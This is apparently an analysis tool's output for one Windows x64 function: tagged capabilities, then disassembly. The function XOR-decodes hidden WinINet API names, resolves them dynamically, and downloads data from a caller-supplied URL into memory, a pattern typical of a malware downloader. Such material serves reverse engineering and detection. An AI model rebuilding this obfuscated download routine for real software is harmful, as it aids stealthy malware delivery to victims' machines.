Function at 0x140001010
Capabilities:
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140022180]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov rbp, rcx
lea rcx, str.wininet.dll
mov dword [rsp + 0x38], ebx
mov edi, ebx
mov esi, ebx
mov r13, r8
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movzx edx, byte [0x140022018]
mov ecx, ebx
mov r14, rax
mov qword [rsp + 0x30], rax
lea rax, [0x1400220d0]
nop dword [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
inc ecx
cmp ecx, 0xf
jb 0x140001070
lea rdx, [0x1400220d0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov qword [0x140023e60], rax
xor edx, edx
xor ecx, ecx
call rax
mov r15, rax
test rax, rax
je 0x14000115a
movsx r8d, byte [0x140022018]
lea rdx, [0x1400220e0]
mov eax, ebx
mov rcx, rdx
movd xmm2, r8d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x1400010e0
movsxd rcx, eax
cmp rcx, 0x12
jae 0x14000111e
add rcx, rdx
nop dword [rax + rax]
xor byte [rcx], r8b
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x12
jb 0x140001110
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov qword [0x140023e58], rax
mov rdx, rbp
mov dword [rsp + 0x20], 0x2400
mov rcx, r15
call rax
mov r14, rax
test rax, rax
jne 0x140001164
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x14000132e
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbp, rax
nop word [rax + rax]
lea r9, [rsp + 0x38]
mov r8d, 0x400
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x38]
add rsi, rdx
test rdi, rdi
jne 0x1400011b0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400011c2
mov r8d, 0x42
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov r8d, dword [rsp + 0x38]
mov rcx, rsi
sub rcx, r8
mov rdx, rbp
add rcx, rax
mov rdi, rax
call fcn.140015260
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov rcx, rbp
call fcn.140015900
cmp dword [rsp + 0x38], 0x400
jae 0x140001180
mov qword [r12], rdi
lea rdx, [0x140022110]
mov qword [r13], rsi
mov eax, ebx
movsx r8d, byte [0x140022018]
mov rcx, rdx
movd xmm2, r8d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x140001230
movsxd rcx, eax
cmp rcx, 0x15
jae 0x14000126e
add rcx, rdx
nop dword [rax + rax]
xor byte [rcx], r8b
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x15
jb 0x140001260
mov rsi, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r15
mov qword [0x140023e50], rax
call rax
mov rcx, r14
call qword [0x140023e50]
movsx ecx, byte [0x140022018]
lea rdx, [0x140022128]
mov rax, rdx
movd xmm2, ecx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ebx, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ebx, 0x10
jb 0x1400012c0
movsxd rax, ebx
cmp rax, 0x14
jae 0x1400012fd
add rax, rdx
nop dword [rax + rax]
xor byte [rax], cl
lea rax, [rax + 1]
inc ebx
cmp ebx, 0x14
jb 0x1400012f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
mov qword [0x140023e48], rax
xor ecx, ecx
call rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001a90
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret